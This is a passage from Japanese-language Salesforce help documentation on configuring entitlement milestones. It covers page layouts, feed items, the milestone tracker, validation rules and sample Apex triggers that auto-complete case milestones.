• Lightning Experience の作業指示でマイルストンに関連するフィード項目をクリックすると、Salesforce Classic

にリダイレクトされます。
組織でマイルストンを管理する場所

• [エンタイトルメント管理] の [設定] にある [マイルストン] ノードから、マイルストンを表示および作成
できます。

• [設定] の [ケースマイルストン] ノードから、ケースマイルストンページレイアウトと入力規則を管理で
きます。

• [設定] の [オブジェクトマイルストン] ノードから、作業指示マイルストンページレイアウトと入力規則
を管理できます。

マイルストンの設定
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

マイルストンは、サポート管理プロセスの必要なステップ (最初の応答時間など)

を表します。組織のマイルストンを設定およびカスタマイズしてエンタイトル
メントプロセスに追加し、ケースおよび作業指示などのサポートレコードに適
用できるようにします。

1. マイルストンのページレイアウトのカスタマイズ
マイルストンは、ケースの [ケースマイルストン] 関連リストと、作業指示の
[オブジェクトマイルストン] 関連リストに表示されます。ページレイアウト
をカスタマイズすると、サポートエージェントおよびスーパーバイザがサ
ポートの進行状況を追跡できます。

2. マイルストンフィード項目の有効化
マイルストンフィード項目を有効にして、サポートエージェントがサポート
活動を監視できるようにします。このオプションでは、マイルストンが完了または違反したときに、フィー
ドおよびレコード所有者のプロファイルページに通知が投稿されます。

3. マイルストントラッカーの設定
マイルストントラッカーを使用すると、サポートエージェントは、今後のマイルストンと終了したマイル
ストンをすべて表示し、有効なマイルストンと期限切れのマイルストンのカウントダウンを表示できます。
マイルストントラッカーはケースフィード、作業指示フィード、カスタムページ、またはサービスコンソー
ルに追加できます。
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4. ユーザによるマイルストンの更新の制限
入力規則をマイルストンに追加して、特定の条件を満たさない限りユーザがマイルストンを更新できない
ようにします。

5. マイルストンの作成
マイルストンは、サポートプロセスの必要なステップ (ケースの解決時間や初回応答時間など) を表します。
組織の「マスタ」マイルストンを作成してから、エンタイトルメントプロセスに追加して、ケースや作業
指示などのサポートレコードに各種サービスレベルを適用します。

6. ケースマイルストンの自動完了
一意の条件に合致するケースのマイルストンを [完了] として自動的にマークする Apex トリガを作成しま
す。トリガで、マイルストンが [完了] とマークされるために満たす必要のあるイベントおよび関連ケース
の条件を定義します。作業指示マイルストンを自動完了する同様のトリガを実装できます。

関連トピック:

マイルストン
エンタイトルメント管理の設定のチェックリスト
マイルストン: サポートされるオブジェクト
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マイルストンのページレイアウトのカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

ページレイアウトを作成
および編集する
• 「アプリケーションの

カスタマイズ」

マイルストンを作成する
• 「エンタイトルメント

の管理」

および

「アプリケーションの
カスタマイズ」

[停止時間] および [実際の
経過時間] 項目を有効にす
る
• 「エンタイトルメント

の管理」

マイルストンは、ケースの [ケースマイルストン] 関連リストと、作業指示の [オ
ブジェクトマイルストン] 関連リストに表示されます。ページレイアウトをカス
タマイズすると、サポートエージェントおよびスーパーバイザがサポートの進
行状況を追跡できます。
1. 次の項目のいずれかをケースおよびオブジェクトマイルストン詳細ページに

追加します。
• ケースマイルストン詳細ページレイアウトを編集するには、[設定] から、

[クイック検索] ボックスに「ケースマイルストン」と入力し、ケースマイ
ルストンの下の [ページレイアウト] をクリックします。

• オブジェクトマイルストン詳細ページレイアウト (作業指示マイルストン
に適用) を編集するには、[設定] から、[クイック検索] ボックスに「オブ
ジェクトマイルストン」と入力し、オブジェクトマイルストンの下の[ペー
ジレイアウト] をクリックします。

説明項目

マイルストンを完了するまでの所要
時間。
(経過時間) – (停止時間) = (実際の経過
時間)

実際の経過時間

メモ: この項目を表示できるよ
うにするには、[エンタイトル
メントの設定] ページで[停止時
間と実際の経過時間を有効化]

を選択する必要があります。

マイルストンの完了を示すアイコン
( )。

完了

マイルストンが完了した日時。完了日

マイルストンの完了にかかる時間。
自動的に算出して、サポートレコー

経過時間

ドに営業時間を追加します。[経過時
間] は、[完了日] 項目が入力されてい
る場合に限り計算されます。

レコードで使用しているエンタイト
ルメントプロセス。エンタイトルメ
ントプロセスは省略可能です。

エンタイトルメントプロセス

マイルストン追跡が開始された日時。開始日

3232

マイルストンの設定カスタマーサポートツールの設定および管理



説明項目

エージェントがマイルストンの完了からブロックさ
れていた時間。たとえば、顧客が追加情報を返信す

停止時間

るのをエージェントが待機している場合がありま
す。

メモ: [エンタイトルメントの設定] ページで [停
止時間と実際の経過時間を有効化]を選択する
必要があります。

マイルストンを完了する日時。目標日

マイルストンを完了する時間。自動的に算出して、
サポートレコードに営業時間を追加します。

ターゲットレスポンス

マイルストンが違反となるまでの残り時間。自動的
に算出して、サポートレコードに営業時間を追加し
ます。

残り時間

マイルストンが違反となってからの経過時間。自動
的に算出して、サポートレコードに営業時間を追加
します。

目標以降の経過時間

マイルストンの違反を示すアイコン ( )。違反

2. ケースおよび作業指示ページレイアウトにマイルストン要素を追加します。
a. マイルストン項目の追加:

説明項目

マイルストンの状況。マイルストン状況

マイルストンの状況に対応するアイコン:マイルストン状況アイコン
• 適合
• 未処理の違反
• クローズ違反

レコードがエンタイトルメントプロセスを開始し
た時刻。

エンタイトルメント処理開始時刻

レコードがエンタイトルメントプロセスを終了し
た時刻。

エンタイトルメント処理終了時刻

b. [ケースマイルストン] または [オブジェクトマイルストン] 関連リストを追加してレコードのマイルスト
ンを表示します。
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マイルストンフィード項目の有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

マイルストンフィード項
目を有効にする
• 「エンタイトルメント

の管理」

マイルストンフィード項目を有効にして、サポートエージェントがサポート活
動を監視できるようにします。このオプションでは、マイルストンが完了また
は違反したときに、フィードおよびレコード所有者のプロファイルページに通
知が投稿されます。

重要:

• Chatter およびエンタイトルメントが組織で有効になっている必要があり
ます。

• マイルストンフィード項目を有効化しても、すでに完了または違反して
いるマイルストンのフィード項目は作成されません。

• エンタイトルメント管理をコミュニティに追加する場合、マイルストン
フィード項目を有効にすると、フィード項目もコミュニティユーザに表
示されます。

1. [設定] から、[クイック検索]ボックスに「エンタイトルメントの設定」と入力
し、[エンタイトルメントの設定] を選択します。

2. [マイルストンフィード項目の有効化] を選択します。これにより、ケースと
作業指示両方のフィード項目が有効になります。
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マイルストントラッカーの設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

ページレイアウトを作成
および編集する
• 「アプリケーションの

カスタマイズ」

ページレイアウトを割り
当てる
• 「ユーザの管理」

マイルストントラッカー
での時間の表示方法を設
定する
• 「エンタイトルメント

の管理」

マイルストントラッカーを使用すると、サポートエージェントは、今後のマイ
ルストンと終了したマイルストンをすべて表示し、有効なマイルストンと期限
切れのマイルストンのカウントダウンを表示できます。マイルストントラッカー
はケースフィード、作業指示フィード、カスタムページ、またはサービスコン
ソールに追加できます。
マイルストンを達成した頻度によってサポートエージェントのパフォーマンス
が測定されることがよくあります。マイルストントラッカーには次の項目が表
示されるため、エージェントはサポートの期限に備えることができます。
• 有効なマイルストンが目標日に達するまでの残り時間
• 期限切れのマイルストンが目標日を過ぎてからの経過時間
• 今後のマイルストンのリスト
• 終了したマイルストンのリスト
マイルストンが進行中の場合、そのマイルストンは緑の円で表されます。この
円は、時間の経過に従い時計回りに減っていきます。残り時間は円の中心に表
示されます。マイルストンの完了期限が切れると、円は赤になります。マイル
ストンの期限切れ後の経過時間が円の中心に表示されます。

マイルストンの残り時間が 24 時間より長い場合、カウントダウンは日数で表示されます (1 日など)。マイルス
トンの残り時間が 24 時間未満の場合、カウントダウンの形式は時間/分/秒に切り替わります。
1. マイルストントラッカーをサポートエージェントに公開します。

次の 3 つの方法のいずれかでトラッカーを公開できます。
• ケースフィードに追加する。作業指示にマイルストンを使用する場合、同じステップを実行してトラッ

カーを作業指示フィードに追加します。
a. ケースのオブジェクト管理設定から、[ページレイアウト] に移動します。
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b. [ケースページレイアウト] セクションで [編集] をクリックし、ページレイアウトエディタで [フィー
ドビュー] をクリックします。

c. [その他のツールおよびコンポーネント] セクションで [マイルストントラッカー] を選択し、ページ内
に表示する位置を指定します。

d. [保存] をクリックします。
• <apex:milestoneTracker> コンポーネントを使用してカスタム Visualforce ページに追加する。
• コンポーネントとしてサービスコンソールに追加する。

2. マイルストントラッカーでマイルストンの残り時間または超過時間を表示する方法を設定します。
デフォルトでは、実際の時間が使用されます。残り時間または超過時間を営業時間で表示するには、次の
手順を実行します。
a. [設定] から、[クイック検索] ボックスに「エンタイトルメントの設定」と入力し、[エンタイトルメントの

設定] を選択します。
b. [マイルストントラッカー] セクションで、[残り時間を営業時間ではなく実際の時間で表示] の選択を解

除します。
c. [保存] をクリックします。

例: 有効なマイルストンの営業時間が午前 9 時から午後 5 時であるとします。現在の時刻が午後 4 時 30 分
で、マイルストンの目標日が翌日の午前 11 時であるとします。
• マイルストントラッカーで残り時間が営業時間 (デフォルトの設定) で表示されている場合、表示され

るカウントダウンは 2 時間 30 分です (今日の午後 4 時 30 分～午後 5 時と明日の午前 9 時～午前 11 時)。
• マイルストントラッカーで残り時間が実際の時間で表示されている場合、表示されるカウントダウン

は 18 時間 30 分です (今日の午後 4 時 30 分～明日の午前 11 時)。
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ユーザによるマイルストンの更新の制限

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

項目の入力規則を定義ま
たは変更する
• 「アプリケーションの

カスタマイズ」

マイルストンを作成また
は編集する
• 「エンタイトルメント

の管理」

入力規則をマイルストンに追加して、特定の条件を満たさない限りユーザがマ
イルストンを更新できないようにします。
1. ケースマイルストンのオブジェクト管理設定から、[入力規則] に移動します。
2. [新規] をクリックします。
3. ルールの詳細を入力します。
4. 変更内容を保存します。

例: この入力規則により、ユーザはケース作成日より前のマイルストン完
了日を選択できなくなります。作業指示用の同様の入力規則を [設定] の [オ
ブジェクトマイルストン] のオブジェクト管理設定から作成できます。

値項目

milestone_completion_dateルール名

マイルストンの完了日はケース作成日
よりも後にする必要があります。

説明

CompletionDate <
Case.CreatedDate

エラー条件数式

エラー: マイルストン完了日はケー
ス作成日よりも後にする必要がありま
す。

エラーメッセージ

ページの最上位エラー表示場所
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マイルストンの作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

マイルストンを作成する
• 「エンタイトルメント

の管理」

および

「アプリケーションの
カスタマイズ」

マイルストンは、サポートプロセスの必要なステップ (ケースの解決時間や初回
応答時間など) を表します。組織の「マスタ」マイルストンを作成してから、エ
ンタイトルメントプロセスに追加して、ケースや作業指示などのサポートレコー
ドに各種サービスレベルを適用します。
マイルストンを作成するには、次の手順に従います。

ヒント: エンタイトルメント管理の Trailhead モジュールでは、一般的な用語
を紹介し、マイルストン作成プロセスについて説明します。楽しみながら
学びましょう。使用を開始するには、「エンタイトルメント管理」を参照
してください。

1. [設定] から、[クイック検索] ボックスに「マイルストン」と入力し、[エンタイ
トルメント管理] の [マイルストン] を選択します。

2. [新規マイルストン] をクリックします。
3. 名前と説明を入力します。「最初の対応時間」や「解決時間」など、一般的

なサポートタスクにちなんで名前を付けてください。内容がわかる名前を付
けると、ケース、作業指示またはエンタイトルメントプロセスでマイルスト
ンが表示された場合に理解しやすくなります。

4. 繰り返しタイプを選択します。

例説明繰り返しタイプ

「最初の対応」
「解決時間」

マイルストンは、レコー
ドで 1 回のみ発生しま
す。

繰り返しなし

「応答時間」マイルストンは、マイル
ストン条件がレコードで

独立

一致するたびに発生しま
す。

「顧客連絡済み」マイルストンは、マイル
ストン条件がレコードで

順次

一致するたびに繰り返し
発生します。

5. [保存] をクリックします。
マイルストンを単独でレコードに適用することはできません。マイルストンはエンタイトルメントプロセスに
属している必要があります。そのため、マイルストンを作成したら、エンタイトルメントプロセスに追加しま
す。
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ヒント: マイルストンに入力規則を追加して、特定の基準を満たした場合にのみマイルストンを更新でき
るようにすることができます。詳細は、「ユーザによるマイルストンの更新の制限」を参照してくださ
い。

関連トピック:

マイルストンの繰り返しタイプ

ケースマイルストンの自動完了

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

Apex トリガおよびクラス
を定義する
• 「Apex 開発」

一意の条件に合致するケースのマイルストンを [完了] として自動的にマークす
る Apex トリガを作成します。トリガで、マイルストンが [完了] とマークされる
ために満たす必要のあるイベントおよび関連ケースの条件を定義します。作業
指示マイルストンを自動完了する同様のトリガを実装できます。
次のトリガは、対象のケースが一意の条件を満たした場合に特定の種類のマイ
ルストンを [完了] とマークします。マイルストンユーティリティ Apex クラスお
よび付随する単体テストも次に示します。トリガを使用する前に、マイルスト
ンユーティリティクラスを定義します。
マイルストンユーティリティ Apex クラス

Apex クラスを使用することで、トリガのサイズが小さくなり、Apexコードの
再利用や管理が容易になります。このApexクラスを組織で定義する手順は、
次のとおりです。
1. [設定] から、[クイック検索] ボックスに「Apex クラス」と入力し、[Apex

クラス] を選択します。
2. [新規] をクリックします。
3. クラスのテキストをコピーし、テキスト項目に貼り付けます。
4. [保存] をクリックします。
public class MilestoneUtils {

public static void completeMilestone(List<Id> caseIds,
String milestoneName, DateTime complDate) {

List<CaseMilestone> cmsToUpdate = [select Id, completionDate
from CaseMilestone cm
where caseId in :caseIds and cm.MilestoneType.Name=:milestoneName
and completionDate = null limit 1];

if (cmsToUpdate.isEmpty() == false){
for (CaseMilestone cm : cmsToUpdate){

cm.completionDate = complDate;
}

update cmsToUpdate;
}

}
}
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Apex クラスの単体テスト
開発者コンソールで Apex 単体テストを設定し、コードに問題がないかをスキャンできます。
/**
* This class contains unit tests for validating the behavior of Apex classes
* and triggers.
*
* Unit tests are class methods that verify whether a particular piece
* of code is working properly. Unit test methods take no arguments,
* commit no data to the database, and are flagged with the testMethod
* keyword in the method definition.
*
* All test methods in an organization are executed whenever Apex code is deployed
* to a production organization to confirm correctness, ensure code
* coverage, and prevent regressions. All Apex classes are
* required to have at least 75% code coverage in order to be deployed
* to a production organization. In addition, all triggers must have some code coverage.
*
* The @isTest class annotation indicates this class only contains test
* methods. Classes defined with the @isTest annotation do not count against
* the organization size limit for all Apex scripts.
*
* See the Apex Language Reference for more information about Testing and Code Coverage.
*/
@isTest
private class MilestoneTest {

static testMethod void TestCompleteMilestoneCase(){

List<Account> acts = new List<Account>();
Account myAcc = new Account(Name='TestAct', phone='1001231234');
acts.add(myAcc);

Account busAcc = new Account(Name = 'TestForMS', phone='4567890999');
acts.add(busAcc);
insert acts;
Contact cont = new Contact(FirstName = 'Test', LastName = 'LastName', phone='4567890999',
accountid = busAcc.id);
insert(cont);

Id contactId = cont.Id;

Entitlement entl = new Entitlement(Name='TestEntitlement', AccountId=busAcc.Id);
insert entl;

String entlId;
if (entl != null)
entlId = entl.Id;

List<Case> cases = new List<Case>{};
if (entlId != null){
Case c = new Case(Subject = 'Test Case with Entitlement ',
EntitlementId = entlId, ContactId = contactId);
cases.add(c);
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}
if (cases.isEmpty()==false){
insert cases;
List<Id> caseIds = new List<Id>();
for (Case cL : cases){
caseIds.add(cL.Id);
}
milestoneUtils.completeMilestone(caseIds, 'First Response', System.now());
}
}

static testMethod void testCompleteMilestoneViaCase(){

List<Account> acts = new List<Account>();
Account myAcc = new Account(Name='TestAct', phone='1001231234');
acts.add(myAcc);

Account busAcc = new Account(Name = 'TestForMS', phone='4567890999');
acts.add(busAcc);
insert acts;
Contact cont = new Contact(FirstName = 'Test', LastName = 'LastName', phone='4567890999',
accountid = busAcc.id);
insert(cont);

Id contactId = cont.Id;

Entitlement entl = new Entitlement(Name='TestEntitlement', AccountId=busAcc.Id);
insert entl;

String entlId;
if (entl != null)
entlId = entl.Id;

List<Case> cases = new List<Case>{};
for(Integer i = 0; i < 1; i++){
Case c = new Case(Subject = 'Test Case ' + i);
cases.add(c);
if (entlId != null){
c = new Case(Subject = 'Test Case with Entitlement ' + i,
EntitlementId = entlId);
cases.add(c);
}
}

サンプルトリガ 1

「解決時間」というマイルストンを作成し、ケースを一定の時間内にクローズするように要求することが
できます。この方法は、SLA のケース解決条件を適用するのに役立ちます。このサンプルケーストリガは、
ケースがクローズされたときに、各「解決時間」マイルストンを [完了] とマークします。こうすることで、
サポートエージェントは、ケースをクローズした後に手動でマイルストンを [完了] とマークする必要がな
くなります。

メモ: このトリガは、マイルストンユーティリティテストクラスを参照するため、必ず先にテストク
ラスを定義します。

3241

マイルストンの設定カスタマーサポートツールの設定および管理



このトリガを組織で定義する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「ケースのトリガ」と入力し、[ケースのトリガ] をクリックしま

す。
2. [新規] をクリックします。
3. トリガのテキストをコピーし、テキスト項目に貼り付けます。
4. [保存] をクリックします。
trigger CompleteResolutionTimeMilestone on Case (after update) {

if (UserInfo.getUserType() == 'Standard'){
DateTime completionDate = System.now();

List<Id> updateCases = new List<Id>();
for (Case c : Trigger.new){

if (((c.isClosed == true)||(c.Status == 'Closed'))&&((c.SlaStartDate

<= completionDate)&&(c.SlaExitDate == null)))
updateCases.add(c.Id);
}

if (updateCases.isEmpty() == false)
milestoneUtils.completeMilestone(updateCases, 'Resolution Time', completionDate);

}
}

サンプルトリガ 2

「最初の対応」というマイルストンを作成し、エージェントにケース作成から X 分または X 時間以内にケー
スについて連絡を取ることを要求することができます。この方法は、サポートチームができるだけ早くケー
スの取引先責任者と連絡を取るようにするのに役立ちます。このサンプルメールトリガは、ケースの取引
先責任者にメールが送られたときに「最初の対応」マイルストンを [完了] とマークします。そうすること
で、サポートエージェントは、ケースの取引先責任者にメールした後に手動でマイルストンを [完了] とマー
クする必要がなくなります。

メモ: このトリガは、マイルストンユーティリティテストクラスを参照するため、必ず先にテストク
ラスを定義します。

このトリガを組織で定義する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「メールのトリガ」と入力し、[メールのトリガ] をクリックしま

す。
2. [新規] をクリックします。
3. トリガのテキストをコピーし、テキスト項目に貼り付けます。
4. [保存] をクリックします。
trigger CompleteFirstResponseEmail on EmailMessage (after insert) {

if (UserInfo.getUserType() == 'Standard'){
DateTime completionDate = System.now();
Map<Id, String> emIds = new Map<Id, String>();
for (EmailMessage em : Trigger.new){

if(em.Incoming == false)
emIds.put(em.ParentId, em.ToAddress);

}
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if (emIds.isEmpty() == false){
Set <Id> emCaseIds = new Set<Id>();
emCaseIds = emIds.keySet();

List<Case> caseList = [Select c.Id, c.ContactId, c.Contact.Email,
c.OwnerId, c.Status,
c.EntitlementId,
c.SlaStartDate, c.SlaExitDate
From Case c where c.Id IN :emCaseIds];

if (caseList.isEmpty()==false){
List<Id> updateCases = new List<Id>();
for (Case caseObj:caseList) {

if ((emIds.get(caseObj.Id)==caseObj.Contact.Email)&&
(caseObj.Status == 'In Progress')&&
(caseObj.EntitlementId != null)&&
(caseObj.SlaStartDate <= completionDate)&&
(caseObj.SlaStartDate != null)&&
(caseObj.SlaExitDate == null))

updateCases.add(caseObj.Id);
}
if(updateCases.isEmpty() == false)

milestoneUtils.completeMilestone(updateCases,
'First Response', completionDate);

}
}

}
}

サンプルトリガ 3

サンプルトリガ 2 はメールメッセージを扱うものでしたが、このサンプルケースコメントトリガは、ケー
スに公開コメントが作成されたときに「最初の対応」マイルストンを [完了] とマークします。このトリガ
は、サポート条件で、公開ケースコメントが最初の対応として有効である場合に使用できます。

メモ: このトリガは、マイルストンユーティリティテストクラスを参照するため、必ず先にテストク
ラスを定義します。

このトリガを組織で定義する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「ケースコメントのトリガ」と入力し、[ケースコメントのトリ

ガ] をクリックします。
2. [新規] をクリックします。
3. トリガのテキストをコピーし、テキスト項目に貼り付けます。
4. [保存] をクリックします。
trigger CompleteFirstResponseCaseComment on CaseComment (after insert) {

if (UserInfo.getUserType() == 'Standard'){
DateTime completionDate = System.now();
List<Id> caseIds = new List<Id>();
for (CaseComment cc : Trigger.new){

if(cc.IsPublished == true)
caseIds.add(cc.ParentId);

}
if (caseIds.isEmpty() == false){

List<Case> caseList = [Select c.Id, c.ContactId, c.Contact.Email,
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c.OwnerId, c.Status,
c.EntitlementId, c.SlaStartDate,
c.SlaExitDate
From Case c
Where c.Id IN :caseIds];

if (caseList.isEmpty() == false){
List<Id> updateCases = new List<Id>();
for (Case caseObj:caseList) {

if ((caseObj.Status == 'In Progress')&&
(caseObj.EntitlementId != null)&&
(caseObj.SlaStartDate <= completionDate)&&
(caseObj.SlaStartDate != null)&&
(caseObj.SlaExitDate == null))

updateCases.add(caseObj.Id);
}
if(updateCases.isEmpty() == false)

milestoneUtils.completeMilestone(updateCases,
'First Response', completionDate);

}
}

}
}

エンタイトルメントプロセス
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

エンタイトルメントプロセスは、サポートチームがケースまたは作業指示など
のサポートレコードを解決するために実行する必要のあるすべてのステップ (マ
イルストン) を含むタイムラインです。各プロセスには、顧客に適切なサービス
レベルをどのように設定するかを決めるために必要なロジックが含まれていま
す。
すべてのエンタイトルメントにエンタイトルメントプロセスが必要なわけでは
ありません。たとえば、エンタイトルメントが顧客が電話サポートの対象であ
り、電話サポートの営業時間が年中無休 24 時間であることを示す場合がありま
す。顧客のケースが未解決のまま 2 時間が経過したら特定の人にメールで通知
する必要がある場合など、この定義にさらに追加する必要があるときは、エン
タイトルメントプロセスを使用します。
エンタイトルメントプロセスは合計で 1,000 個まで、マイルストンはプロセスご
とに 10 個まで作成できます。組織が Summer '13 より前に作成された場合、エンタイトルメントプロセスの最大
数はこれより小さくなる場合があります。Salesforce に問い合わせて最大数を増やします。

メモ: エンタイトルメントプロセスを使用している場合は、顧客の作業指示とケースを別々のエンタイト
ルメントで管理します。これは、エンタイトルメントプロセスが、種別が一致するレコードのみで実行
されるためです。たとえば、[ケース] エンタイトルメントプロセスがエンタイトルメントに適用される場
合、そのプロセスはエンタイトルメントに関連付けられたケースでのみ実行されます。作業指示もエン
タイトルメントに関連付けられている場合、プロセスは作業指示では実行されません。

有効なエンタイトルメントプロセスを表示またはキャンセルするには、[設定] から [クイック検索] ボックス
に「エンタイトルメントプロセス」と入力し、[エンタイトルメントプロセス]を選択します。また、エンタイト
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ルメントプロセスキューを使用して、有効なエンタイトルメントプロセスのアクションを表示またはキャンセ
ルすることもできます。エンタイトルメントプロセスの監視は、Professional Edition 組織では使用できません。

ヒント: エンタイトルメントプロセスのバージョン設定により、既存のエンタイトルメントプロセスが有
効なエンタイトルメントおよびケースに割り当てられていても、更新することができます。これは、た
とえばエンタイトルメントプロセスの背後にあるビジネスルールを変更する場合、または、同一エンタ
イトルメントプロセスについて、互いに軽微な違いしかない複数のバージョンを作成する必要があるよ
うな場合に便利です。

メモ: すべてのユーザは、「設定・定義を参照する」ユーザ権限がなくても、API によってエンタイトル
メントプロセスを表示できます。

関連トピック:

エンタイトルメントプロセスの設定
エンタイトルメントプロセスの更新
エンタイトルメントプロセスでのレコードの移動

エンタイトルメントプロセスの設定
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

エンタイトルメントプロセスは、サポートチームがケースまたは作業指示を解
決するために実行する必要のあるすべてのステップ (マイルストン) を含むタイ
ムラインです。Salesforce 組織のエンタイトルメントに適用するエンタイトルメ
ントプロセスを設定します。

1. エンタイトルメントプロセスの作成
エンタイトルメントプロセスを作成し、サポートレコードの解決時に従う必
要のあるステップのタイムラインをサポートエージェントに提供します。各
プロセスには、顧客に適切なサービスレベルをどのように設定するかを決め
るために必要なロジックが含まれています。

2. エンタイトルメントプロセス項目のカスタマイズ
Salesforce 組織でエンタイトルメントプロセスを使用する場合、ページレイア
ウトをカスタマイズして、サポートエージェントがエンタイトルメントプロセスを表示および操作できる
ようにします。

3. マイルストンのエンタイトルメントプロセスへの追加
エンタイトルメントプロセスにマイルストンを追加して、サポートプロセスの必須ステップを定義します。

4. マイルストンアクションのエンタイトルメントプロセスへの追加
マイルストンアクションは、エンタイトルメントプロセスの各ステップ (マイルストン) で発生する、時間
ベースのワークフローアクションです。エンタイトルメントプロセスを作成し、エンタイトルメントプロ
セスにマイルストンを追加した後、マイルストンにマイルストンアクションを追加します。
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5. エンタイトルメントへのエンタイトルメントプロセスの適用
エンタイトルメントプロセスを作成したので、使用してみましょう。エンタイトルメントプロセスを顧客
のエンタイトルメントに適用し、エンタイトルメントにリンクされたすべてのサポートレコードでそのプ
ロセスが使用されるようにします。

関連トピック:

エンタイトルメント管理の設定のチェックリスト

エンタイトルメントプロセスの作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

エンタイトルメントを参
照する
• エンタイトルメントに

対する「参照」

エンタイトルメントを変
更する
• エンタイトルメントに

対する「編集」

エンタイトルメントプロ
セスを作成および更新す
る
• 「エンタイトルメント

の管理」

エンタイトルメントプロセスを作成し、サポートレコードの解決時に従う必要
のあるステップのタイムラインをサポートエージェントに提供します。各プロ
セスには、顧客に適切なサービスレベルをどのように設定するかを決めるため
に必要なロジックが含まれています。

メモ: エンタイトルメントプロセスを作成する前に、マイルストンを作成
する必要があります。

ヒント: エンタイトルメント管理の Trailhead モジュールでは、一般的な用語
を紹介し、エンタイトルメントプロセスの作成について説明します。楽し
みながら学びましょう。使用を開始するには、「エンタイトルメント管理」
を参照してください。

1. [設定] から、[クイック検索]ボックスに「エンタイトルメントプロセス」と入
力し、エンタイトルメント管理の下の [エンタイトルメントプロセス]を選択
します。

2. [新規エンタイトルメントプロセス] をクリックします。
3. エンタイトルメントプロセスの種別を選択します。プロセスを使用してケー

スにマイルストンを適用する場合は、[ケース] を選択します。プロセスを使
用して作業指示にマイルストンを適用する場合は、[作業指示] を選択します。
組織で作業指示が有効になっていない場合、[ケース] オプションのみ表示さ
れます。

メモ: エンタイトルメントプロセスを使用している場合は、顧客の作業
指示とケースを別々のエンタイトルメントで管理します。これは、エン
タイトルメントプロセスが、種別が一致するレコードのみで実行される
ためです。たとえば、[ケース] エンタイトルメントプロセスがエンタイ
トルメントに適用される場合、そのプロセスはエンタイトルメントに関
連付けられたケースでのみ実行されます。作業指示もエンタイトルメン
トに関連付けられている場合、プロセスは作業指示では実行されませ
ん。

4. たとえば、名前 (例: 標準サポートプロセス) と説明を入力します。
5. プロセスを有効にする場合、[有効] を選択します。
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ヒント: プロセスにマイルストンアクションを追加するまで、エンタイトルメントプロセスを有効化
しないでおくことをお勧めします。有効にしてレコードに適用した後は、プロセスのマイルストンア
クションを更新したり削除したりできません。

6. エンタイトルメントのバージョン管理が有効な場合は、必要に応じて[デフォルトバージョン]を選択して、
このバージョンをエンタイトルメントプロセスのデフォルトにします。

7. エンタイトルメントプロセスを開始および終了するレコードの条件を選択します。

実行する追加アクション説明項目

なしレコード作成日に基づく
レコードが作成されたときにプロ
セスを開始するかどうかを選択す
る。

レコードのプロセス開始

はい、カスタムの日付/時間を選択
するドロップダウンリストが表示

レコードのカスタムの日付/時間項
目に基づく
レコードがプロセスを開始する時
期を決定する、レコードのカスタ

されます。カスタムの日付ではな
く、カスタムの日付/時間のみを選
択できます。ム日付/時間項目の値が必要がどう

かを選択する。

なしレコードがいつ終了するかに基づ
く
レコードを終了したときにプロセ
スを終了するかどうかを選択す
る。

ケースのプロセス終了

はい、次のいずれかを選択しま
す。

カスタム基準に基づく
定義した基準に基づいてレコード
がプロセスを終了するかどうかを
選択する。

• [条件が一致する] を選択し、
プロセスを終了するためにレ
コードが満たす必要のある検索
条件を選択します。たとえば、
[優先度] 項目が [低] になって
いるケースでプロセスを終了す
るには、ケースの検索条件を
「優先度 次の文字列と一致する
低」に設定します。
[数式の評価が true になる]

を選択し、「True」または
「False」の値を返す数式を入力
します。Salesforce は、数式が
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実行する追加アクション説明項目

「True」を返した場合にルール
を実行します。

• [数式の評価が true になる]

を選択し、「True」または
「False」の値を返す数式を入力
します。数式が「True」を返し
た場合にレコードはプロセスを
終了します。たとえば、[優先
度] 項目が [低] で [発生源] 項
目が [メール] または [Web] の場
合、数式 (Case: Priority
equals Low) AND(Case:
Case Origin equals

Email, Web)がケースをプロ
セス外に移行します。

*表示される項目名は選択したエンタイトルメントプロセスの種別を反映します。
8. 必要に応じて、エンタイトルメントプロセスに適用する営業時間を選択します。ここで設定する営業時間

によって、このエンタイトルメントプロセスのすべてのマイルストンの目標日が計算されます。詳細は、
「エンタイトルメント管理での営業時間の機能」を参照してください。

9. 変更内容を保存します。
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エンタイトルメントプロセス項目のカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

ページレイアウトを編集
する
• 「アプリケーションの

カスタマイズ」

Salesforce 組織でエンタイトルメントプロセスを使用する場合、ページレイアウ
トをカスタマイズして、サポートエージェントがエンタイトルメントプロセス
を表示および操作できるようにします。
1. ケースおよび作業指示ページレイアウトに次の項目を追加します。

説明項目

